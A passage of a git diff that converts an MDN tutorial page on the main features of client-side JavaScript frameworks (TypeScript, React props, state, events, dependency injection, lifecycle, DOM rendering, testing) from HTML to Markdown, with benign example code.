href="https://www.typescriptlang.org/">TypeScript</a> is a <em>superset</em> of JavaScript, meaning it extends JavaScript — all JavaScript code is valid TypeScript, but not the other way around. TypeScript is useful for the strictness it allows developers to enforce on their code. For instance, consider a function <code>add()</code>, which takes integers <code>a</code> and <code>b</code> and returns their sum.</p> +[TypeScript](https://www.typescriptlang.org/) is a _superset_ of JavaScript, meaning it extends JavaScript — all JavaScript code is valid TypeScript, but not the other way around. TypeScript is useful for the strictness it allows developers to enforce on their code. For instance, consider a function `add()`, which takes integers `a` and `b` and returns their sum. -<p>In JavaScript, that function could be written like this:</p> +In JavaScript, that function could be written like this: -<pre class="brush: js">function add(a, b) { +```js +function add(a, b) { return a + b; -}</pre> +} +``` -<p>This code might be trivial for someone accustomed to JavaScript, but it could still be clearer. JavaScript lets us use the <code>+</code> operator to concatenate strings together, so this function would technically still work if <code>a</code> and <code>b</code> were strings — it just might not give you the result you'd expect. What if we wanted to only allow numbers to be passed into this function? TypeScript makes that possible:</p> +This code might be trivial for someone accustomed to JavaScript, but it could still be clearer. JavaScript lets us use the `+` operator to concatenate strings together, so this function would technically still work if `a` and `b` were strings — it just might not give you the result you'd expect. What if we wanted to only allow numbers to be passed into this function? TypeScript makes that possible: -<pre class="brush: js">function add(a: number, b: number) { +```js +function add(a: number, b: number) { return a + b; -}</pre> +} +``` -<p>The <code>: number</code> written after each parameter here tells TypeScript that both <code>a</code> and <code>b</code> must be numbers. If we were to use this function and pass <code>'2'</code> into it as an argument, TypeScript would raise an error during compilation, and we would be forced to fix our mistake. We could write our own JavaScript that raises these errors for us, but it would make our source code significantly more verbose. It probably makes more sense to let TypeScript handle such checks for us.</p> +The `: number` written after each parameter here tells TypeScript that both `a` and `b` must be numbers. If we were to use this function and pass `'2'` into it as an argument, TypeScript would raise an error during compilation, and we would be forced to fix our mistake. We could write our own JavaScript that raises these errors for us, but it would make our source code significantly more verbose. It probably makes more sense to let TypeScript handle such checks for us. -<h2 id="Writing_components">Writing components</h2> +## Writing components -<p>As mentioned in the previous chapter, most frameworks have some kind of component model. React components can be written with JSX, Ember components with Handlebars, and Angular and Vue components with a templating syntax that lightly extends HTML.</p> +As mentioned in the previous chapter, most frameworks have some kind of component model. React components can be written with JSX, Ember components with Handlebars, and Angular and Vue components with a templating syntax that lightly extends HTML. -<p>Regardless of their opinions on how components should be written, each framework's components offer a way to describe the external properties they may need, the internal state that the component should manage, and the events a user can trigger on the component's markup.</p> +Regardless of their opinions on how components should be written, each framework's components offer a way to describe the external properties they may need, the internal state that the component should manage, and the events a user can trigger on the component's markup. -<p>The code snippets in the rest of this section will use React as an example, and are written with JSX.</p> +The code snippets in the rest of this section will use React as an example, and are written with JSX. -<h3 id="Properties">Properties</h3> +### Properties -<p>Properties, or <strong>props</strong>, are external data that a component needs in order to render. Suppose you're building a website for an online magazine, and you need to be sure that each contributing writer gets credit for their work. You might create an <code>AuthorCredit</code> component to go with each article. This component needs to display a portrait of the author and a short byline about them. In order to know what image to render, and what byline to print, <code>AuthorCredit</code> needs to accept some props.</p> +Properties, or **props**, are external data that a component needs in order to render. Suppose you're building a website for an online magazine, and you need to be sure that each contributing writer gets credit for their work. You might create an `AuthorCredit` component to go with each article. This component needs to display a portrait of the author and a short byline about them. In order to know what image to render, and what byline to print, `AuthorCredit` needs to accept some props. -<p>A React representation of this <code>AuthorCredit</code> component might look something like this:</p> +A React representation of this `AuthorCredit` component might look something like this: -<pre class="brush: js">function AuthorCredit(props) { +```js +function AuthorCredit(props) { return ( - <figure> - <img src={props.src} alt={props.alt} /> - <figcaption>{props.byline}</figcaption> - </figure> + <figure> + <img src={props.src} alt={props.alt} /> + <figcaption>{props.byline}</figcaption> + </figure> ); -}</pre> +} +``` -<p><code>{props.src}</code>, <code>{props.alt}</code>, and <code>{props.byline}</code> represent where our props will be inserted into the component. To render this component, we would write code like this in the place where we want it rendered (which will probably be inside another component):</p> +`{props.src}`, `{props.alt}`, and `{props.byline}` represent where our props will be inserted into the component. To render this component, we would write code like this in the place where we want it rendered (which will probably be inside another component): -<pre class="brush: js"><AuthorCredit +```js +<AuthorCredit src="./assets/zelda.png" alt="Portrait of Zelda Schiff" byline="Zelda Schiff is editor-in-chief of the Library Times." -/></pre> +/> +``` -<p>This will ultimately render the following <code><a href="/fr/docs/Web/HTML/Element/figure"><figure></a></code> element in the browser, with its structure as defined in the <code>AuthorCredit</code> component, and its content as defined in the props included on the <code>AuthorCredit</code> component call:</p> +This will ultimately render the following [`<figure>`](/fr/docs/Web/HTML/Element/figure) element in the browser, with its structure as defined in the `AuthorCredit` component, and its content as defined in the props included on the `AuthorCredit` component call: -<pre class="brush: html"><figure> - <img +```html +<figure> + <img src="assets/zelda.png" alt="Portrait of Zelda Schiff" - > - <figcaption> + > + <figcaption> Zelda Schiff is editor-in-chief of the Library Times. - </figcaption> -</figure></pre> + </figcaption> +</figure> +``` -<h3 id="State">State</h3> +### State -<p>We talked about the concept of <strong>state</strong> in the previous chapter — a robust state-handling mechanism is key to an effective framework, and each component may have data that needs its state controlled. This state will persist in some way as long as the component is in use. Like props, state can be used to affect how a component is rendered.</p> +We talked about the concept of **state** in the previous chapter — a robust state-handling mechanism is key to an effective framework, and each component may have data that needs its state controlled. This state will persist in some way as long as the component is in use. Like props, state can be used to affect how a component is rendered. -<p>As an example, consider a button that counts how many times it has been clicked. This component should be responsible for tracking its own <em>count</em> state, and could be written like this:</p> +As an example, consider a button that counts how many times it has been clicked. This component should be responsible for tracking its own _count_ state, and could be written like this: -<pre class="brush: js">function CounterButton() { +```js +function CounterButton() { const [count] = useState(0); return ( - <button>Clicked {count} times</button> + <button>Clicked {count} times</button> ); -}</pre> +} +``` -<p><code><a href="https://reactjs.org/docs/hooks-reference.html#usestate">useState()</a></code> is a <strong><a href="https://reactjs.org/docs/hooks-intro.html">React hook</a></strong> which, given an initial data value, will keep track of that value as it is updated. The code will be initially rendered like so in the browser:</p> +[`useState()`](https://reactjs.org/docs/hooks-reference.html#usestate) is a **[React hook](https://reactjs.org/docs/hooks-intro.html)** which, given an initial data value, will keep track of that value as it is updated. The code will be initially rendered like so in the browser: -<pre class="brush: html"><button>Clicked 0 times</button></pre> +```html +<button>Clicked 0 times</button> +``` -<p>The <code>useState()</code> call keeps track of the <code>count</code> value in a robust way across the app, without you needing to write code to do that yourself.</p> +The `useState()` call keeps track of the `count` value in a robust way across the app, without you needing to write code to do that yourself. -<h3 id="Events">Events</h3> +### Events -<p>In order to be interactive, components need ways to respond to browser events, so our applications can respond to our users. Frameworks each provide their own syntax for listening to browser events, which reference the names of the equivalent native browser events.</p> +In order to be interactive, components need ways to respond to browser events, so our applications can respond to our users. Frameworks each provide their own syntax for listening to browser events, which reference the names of the equivalent native browser events. -<p>In React, listening for the <code><a href="/fr/docs/Web/API/Element/click_event">click</a></code> event requires a special property, <code>onClick</code>. Let’s update our <code>CounterButton</code> code from above to allow it to count clicks:</p> +In React, listening for the [`click`](/fr/docs/Web/API/Element/click_event) event requires a special property, `onClick`. Let’s update our `CounterButton` code from above to allow it to count clicks: -<pre class="brush: js">function CounterButton() { +```js +function CounterButton() { const [count, setCount] = useState(0); return ( - <button onClick={() => setCount(count + 1)}>Clicked {count} times</button> + <button onClick={() => setCount(count + 1)}>Clicked {count} times</button> ); -}</pre> +} +``` -<p>In this version we are using additional <code>useState()</code> functionality to create a special <code>setCount()</code> function, which we can invoke to update the value of <code>count</code>. We call this function on line 4, and set <code>count</code> to whatever its current value is, plus one.</p> +In this version we are using additional `useState()` functionality to create a special `setCount()` function, which we can invoke to update the value of `count`. We call this function on line 4, and set `count` to whatever its current value is, plus one. -<h2 id="Styling_components">Styling components</h2> +## Styling components -<p>Each framework offers a way to define styles for your components — or for the application as a whole. Although each framework’s approach to defining the styles of a component is slightly different, all of them give you multiple ways to do so. With the addition of some helper modules, you can style your framework apps in <a href="https://sass-lang.com/">Sass</a> or <a href="http://lesscss.org/">Less</a>, or transpile your CSS stylesheets with <a href="https://postcss.org/">PostCSS</a>.</p> +Each framework offers a way to define styles for your components — or for the application as a whole. Although each framework’s approach to defining the styles of a component is slightly different, all of them give you multiple ways to do so. With the addition of some helper modules, you can style your framework apps in [Sass](https://sass-lang.com/) or [Less](http://lesscss.org/), or transpile your CSS stylesheets with [PostCSS](https://postcss.org/). -<h2 id="Handling_dependencies">Handling dependencies</h2> +## Handling dependencies -<p>All major frameworks provide mechanisms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels. As with other features, the exact mechanism will differ between frameworks, but the end result is the same. Components tend to import components into other components using the standard <a href="/fr/docs/Web/JavaScript/Guide/Modules">JavaScript module syntax</a>, or at least something similar.</p> +All major frameworks provide mechanisms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels. As with other features, the exact mechanism will differ between frameworks, but the end result is the same. Components tend to import components into other components using the standard [JavaScript module syntax](/fr/docs/Web/JavaScript/Guide/Modules), or at least something similar. -<h3 id="Components_in_components">Components in components</h3> +### Components in components -<p>One key benefit of component-based UI architecture is that components can be composed together. Just like you can write HTML tags inside each other to build a website, you can use components inside other components to build a web application. Each framework allows you to write components that utilize (and thus depend on) other components.</p> +One key benefit of component-based UI architecture is that components can be composed together. Just like you can write HTML tags inside each other to build a website, you can use components inside other components to build a web application. Each framework allows you to write components that utilize (and thus depend on) other components. -<p>For example, our <code>AuthorCredit</code> React component might be utilized inside an <code>Article</code> component. That means that <code>Article</code> would need to import <code>AuthorCredit</code>.</p> +For example, our `AuthorCredit` React component might be utilized inside an `Article` component. That means that `Article` would need to import `AuthorCredit`. -<pre class="brush: js">import AuthorCredit from "./components/AuthorCredit";</pre> +```js +import AuthorCredit from "./components/AuthorCredit"; +``` -<p>Once that’s done, <code>AuthorCredit</code> could be used inside the <code>Article</code> component like this:</p> +Once that’s done, `AuthorCredit` could be used inside the `Article` component like this: -<pre class="brush: js"> ... +```js + ... -<AuthorCredit /> +<AuthorCredit /> - ...</pre> + ... +``` -<h3 id="Dependency_injection">Dependency injection</h3> +### Dependency injection -<p>Real-world applications can often involve component structures with multiple levels of nesting. An <code>AuthorCredit</code> component nested many levels deep might, for some reason, need data from the very root level of our application.</p> +Real-world applications can often involve component structures with multiple levels of nesting. An `AuthorCredit` component nested many levels deep might, for some reason, need data from the very root level of our application. -<p>Let's say that the magazine site we're building is structured like this:</p> +Let's say that the magazine site we're building is structured like this: -<pre class="brush: js"><App> - <Home> - <Article> - <AuthorCredit {/* props */} /> - </Article> - </Home> -</App></pre> +```js +<App> + <Home> + <Article> + <AuthorCredit {/* props */} /> + </Article> + </Home> +</App> +``` -<p>Our <code>App</code> component has data that our <code>AuthorCredit</code> component needs. We could rewrite <code>Home</code> and <code>Article</code> so that they know to pass props down, but this could get tedious if there are many, many levels between the origin and destination of our data. It's also excessive: <code>Home</code> and <code>Article</code> don’t actually make use of the author's portrait or byline, but if we want to get that information into the <code>AuthorCredit</code>, we will need to change <code>Home</code> and <code>Author</code> to accommodate it.</p> +Our `App` component has data that our `AuthorCredit` component needs. We could rewrite `Home` and `Article` so that they know to pass props down, but this could get tedious if there are many, many levels between the origin and destination of our data. It's also excessive: `Home` and `Article` don’t actually make use of the author's portrait or byline, but if we want to get that information into the `AuthorCredit`, we will need to change `Home` and `Author` to accommodate it. -<p>The problem of passing data through many layers of components is called prop drilling, and it’s not ideal for large applications.</p> +The problem of passing data through many layers of components is called prop drilling, and it’s not ideal for large applications. -<p>To circumvent prop drilling, frameworks provide functionality known as dependency injection, which is a way to get certain data directly to the components that need it, without passing it through intervening levels. Each framework implements dependency injection under a different name, and in a different way, but the effect is ultimately the same.</p> +To circumvent prop drilling, frameworks provide functionality known as dependency injection, which is a way to get certain data directly to the components that need it, without passing it through intervening levels. Each framework implements dependency injection under a different name, and in a different way, but the effect is ultimately the same. -<p>Angular calls this process <a href="https://angular.io/guide/dependency-injection">dependency injection</a>; Vue has <a href="https://vuejs.org/v2/api/#provide-inject"><code>provide()</code> and <code>inject()</code> component methods</a>; React has a <a href="https://reactjs.org/docs/context.html">Context API</a>; Ember shares state through <a href="https://guides.emberjs.com/release/services/">services</a>.</p> +Angular calls this process [dependency injection](https://angular.io/guide/dependency-injection); Vue has [`provide()` and `inject()` component methods](https://vuejs.org/v2/api/#provide-inject); React has a [Context API](https://reactjs.org/docs/context.html); Ember shares state through [services](https://guides.emberjs.com/release/services/). -<h3 id="Lifecycle">Lifecycle</h3> +### Lifecycle -<p>In the context of a framework, a component’s <strong>lifecycle</strong> is a collection of phases a component goes through from the time it is rendered by the browser (often called <em>mounting</em>) to the time that it is removed from the DOM (often called <em>unmounting</em>). Each framework names these lifecycle phases differently, and not all give developers access to the same phases. All of the frameworks follow the same general model: they allow developers to perform certain actions when the component <em>mounts</em>, when it <em>renders</em>, when it <em>unmounts</em>, and at many phases in between these.</p> +In the context of a framework, a component’s **lifecycle** is a collection of phases a component goes through from the time it is rendered by the browser (often called _mounting_) to the time that it is removed from the DOM (often called _unmounting_). Each framework names these lifecycle phases differently, and not all give developers access to the same phases. All of the frameworks follow the same general model: they allow developers to perform certain actions when the component _mounts_, when it _renders_, when it _unmounts_, and at many phases in between these. -<p>The <em>render</em> phase is the most crucial to understand, because it is repeated the most times as your user interacts with your application. It's run every time the browser needs to render something new, whether that new information is an addition to what's in the browser, a deletion, or an edit of what’s there.</p> +The _render_ phase is the most crucial to understand, because it is repeated the most times as your user interacts with your application. It's run every time the browser needs to render something new, whether that new information is an addition to what's in the browser, a deletion, or an edit of what’s there. -<p>This <a href="http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/">diagram of a React component's lifecycle</a> offers a general overview of the concept.</p> +This [diagram of a React component's lifecycle](http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) offers a general overview of the concept. -<h2 id="Rendering_elements">Rendering elements</h2> +## Rendering elements -<p>Just as with lifecycles, frameworks take different-but-similar approaches to how they render your applications. All of them track the current rendered version of your browser's DOM, and each makes slightly different decisions about how the DOM should change as components in your application re-render. Because frameworks make these decisions for you, you typically don't interact with the DOM yourself. This abstraction away from the DOM is more complex and more memory-intensive than updating the DOM yourself, but without it, frameworks could not allow you to program in the declarative way they’re known for.</p> +Just as with lifecycles, frameworks take different-but-similar approaches to how they render your applications. All of them track the current rendered version of your browser's DOM, and each makes slightly different decisions about how the DOM should change as components in your application re-render. Because frameworks make these decisions for you, you typically don't interact with the DOM yourself. This abstraction away from the DOM is more complex and more memory-intensive than updating the DOM yourself, but without it, frameworks could not allow you to program in the declarative way they’re known for. -<p>The <strong>Virtual DOM</strong> is an approach whereby information about your browser's DOM is stored in JavaScript memory. Your application updates this copy of the DOM, then compares it to the "real" DOM — the DOM that is actually rendered for your users — in order to decide what to render. The application builds a "diff" to compare the differences between the updated virtual DOM and the currently rendered DOM, and uses that diff to apply updates to the real DOM. Both React and Vue utilize a virtual DOM model, but they do not apply the exact same logic when diffing or rendering.</p> +The **Virtual DOM** is an approach whereby information about your browser's DOM is stored in JavaScript memory. Your application updates this copy of the DOM, then compares it to the "real" DOM — the DOM that is actually rendered for your users — in order to decide what to render. The application builds a "diff" to compare the differences between the updated virtual DOM and the currently rendered DOM, and uses that diff to apply updates to the real DOM. Both React and Vue utilize a virtual DOM model, but they do not apply the exact same logic when diffing or rendering. -<p>You can <a href="https://reactjs.org/docs/faq-internals.html#what-is-the-virtual-dom">read more about the Virtual DOM in the React docs</a>.</p> +You can [read more about the Virtual DOM in the React docs](https://reactjs.org/docs/faq-internals.html#what-is-the-virtual-dom). -<p>The <strong>Incremental DOM</strong> is similar to the virtual DOM in that it builds a DOM diff to decide what to render, but different in that it doesn't create a complete copy of the DOM in JavaScript memory. It ignores the parts of the DOM that do not need to be changed. Angular is the only framework discussed so far in this module that uses an incremental DOM.</p> +The **Incremental DOM** is similar to the virtual DOM in that it builds a DOM diff to decide what to render, but different in that it doesn't create a complete copy of the DOM in JavaScript memory. It ignores the parts of the DOM that do not need to be changed. Angular is the only framework discussed so far in this module that uses an incremental DOM. -<p>You can <a href="https://auth0.com/blog/incremental-dom/">read more about the Incremental DOM on the Auth0 blog</a>.</p> +You can [read more about the Incremental DOM on the Auth0 blog](https://auth0.com/blog/incremental-dom/). -<p>The <strong>Glimmer VM</strong> is unique to Ember. It is not a virtual DOM nor an incremental DOM; it is a separate process through which Ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than JavaScript.</p> +The **Glimmer VM** is unique to Ember. It is not a virtual DOM nor an incremental DOM; it is a separate process through which Ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than JavaScript. -<h2 id="Routing">Routing</h2> +## Routing -<p>As <a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction#Routing">mentioned in the previous chapter, routing</a> is an important part of the web experience. To avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications.</p> +As [mentioned in the previous chapter, routing](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction#Routing) is an important part of the web experience. To avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications. -<h2 id="Testing">Testing</h2> +## Testing -<p>All applications benefit from test coverage that ensures your software continues to behave in the way that you'd expect, and web applications are no different. Each framework's ecosystem provides tooling that facilitates the writing of tests. Testing tools are not built into the frameworks themselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools.</p> +All applications benefit from test coverage that ensures your software continues to behave in the way that you'd expect, and web applications are no different. Each framework's ecosystem provides tooling that facilitates the writing of tests. Testing tools are not built into the frameworks themselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools. -<p>Each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike.</p> +Each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike. -<p><a href="https://testing-library.com/">Testing Library</a> is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the <a href="https://guides.emberjs.com/release/testing/">testing of Ember apps</a>.</p> +[Testing Library](https://testing-library.com/) is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the [testing of Ember apps](https://guides.emberjs.com/release/testing/). -<p>Here’s a quick test for our <code>CounterButton</code> written with the help of React Testing Library — it tests a number of things, such as the button's existence, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times:</p> +Here’s a quick test for our `CounterButton` written with the help of React Testing Library — it tests a number of things, such as the button's existence, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times: -<pre class="brush: js">import React from "react"; +```js +import React from "react"; import { render, fireEvent } from "@testing-library/react"; import "@testing-library/jest-dom/extend-expect"; import CounterButton from "./CounterButton"; -it("renders a semantic with an initial state of 0", () => { - const { getByRole } = render(<CounterButton />); +it("renders a semantic with an initial state of 0", () => { + const { getByRole } = render(<CounterButton />); const btn = getByRole("button"); expect(btn).toBeInTheDocument(); expect(btn).toHaveTextContent("Clicked 0 times"); }); -it("Increments the count when clicked", () => { - const { getByRole } = render(<CounterButton />); +it("Increments the count when clicked", () => { + const { getByRole } = render(<CounterButton />); const btn = getByRole("button"); fireEvent.click(btn); @@ -282,73 +319,63 @@ it("Increments the count when clicked", () => { fireEvent.click(btn); expect(btn).toHaveTextContent("Clicked 2 times"); -});</pre> - -<h2 id="Summary">Summary</h2> - -<p>At this point you should have more of an idea about the actual languages, features, and tools you'll be using as you create applications with frameworks. I'm sure you’re enthusiastic to get going and actually do some coding, and that's what you are going to do next! At this point you can choose which framework you'd like to start learning first:</p> - -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Vue</a></li> -</ul> - -<div class="note"> -<p><strong>Note :</strong> We only have three framework tutorial series available now, but we hope to have more available in the future.</p> -</div> - -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> - <li>React - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> - </ul> - </li> - <li>Ember - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> - </ul> - </li> - <li>Vue - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> - </ul> - </li> - <li>Svelte - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> - </ul> - </li> -</ul> +}); +``` + +## Summary + +At this point you should have more of an idea about the actual languages, features, and tools you'll be using as you create applications with frameworks. I'm sure you’re enthusiastic to get going and actually do some coding, and that's what you are going to do next! At this point you can choose which framework you'd like to start learning first: + +- [React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) +- [Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) +- [Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + +> **Note :** We only have three framework tutorial series available now, but we hope to have more available in the future. + +{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} + +## In this module + +- [Introduction to client-side frameworks](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) +- [Framework main features](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) +- React + + - [Getting started with React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - [Beginning our React todo list](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - [Componentizing our React app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - [React interactivity: Events and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - [React interactivity: Editing, filtering, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - [Accessibility in React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - [React resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) + +- Ember + + - [Getting started with Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - [Ember app structure and componentization](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - [Ember interactivity: Events, classes and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - [Ember Interactivity: Footer functionality, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - [Routing in Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - [Ember resources and troubleshooting](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) + +- Vue + + - [Getting started with Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - [Creating our first Vue component](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - [Rendering a list of Vue components](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - [Adding a new todo form: Vue events, methods, and models](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - [Styling Vue components with CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - [Using Vue computed properties](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - [Vue conditional rendering: editing existing todos](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - [Focus management with Vue refs](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - [Vue resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) + +- Svelte + + - [Getting started with Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started) + - [Starting our Svelte Todo list app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) + - [Dynamic behavior in Svelte: working with variables and props](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) + - [Componentizing our Svelte app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) + - [Advanced Svelte: Reactivity, lifecycle, accessibility](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility) + - [Working with Svelte stores](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores) + - [TypeScript support in Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript) + - [Deployment and next steps](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next) diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md 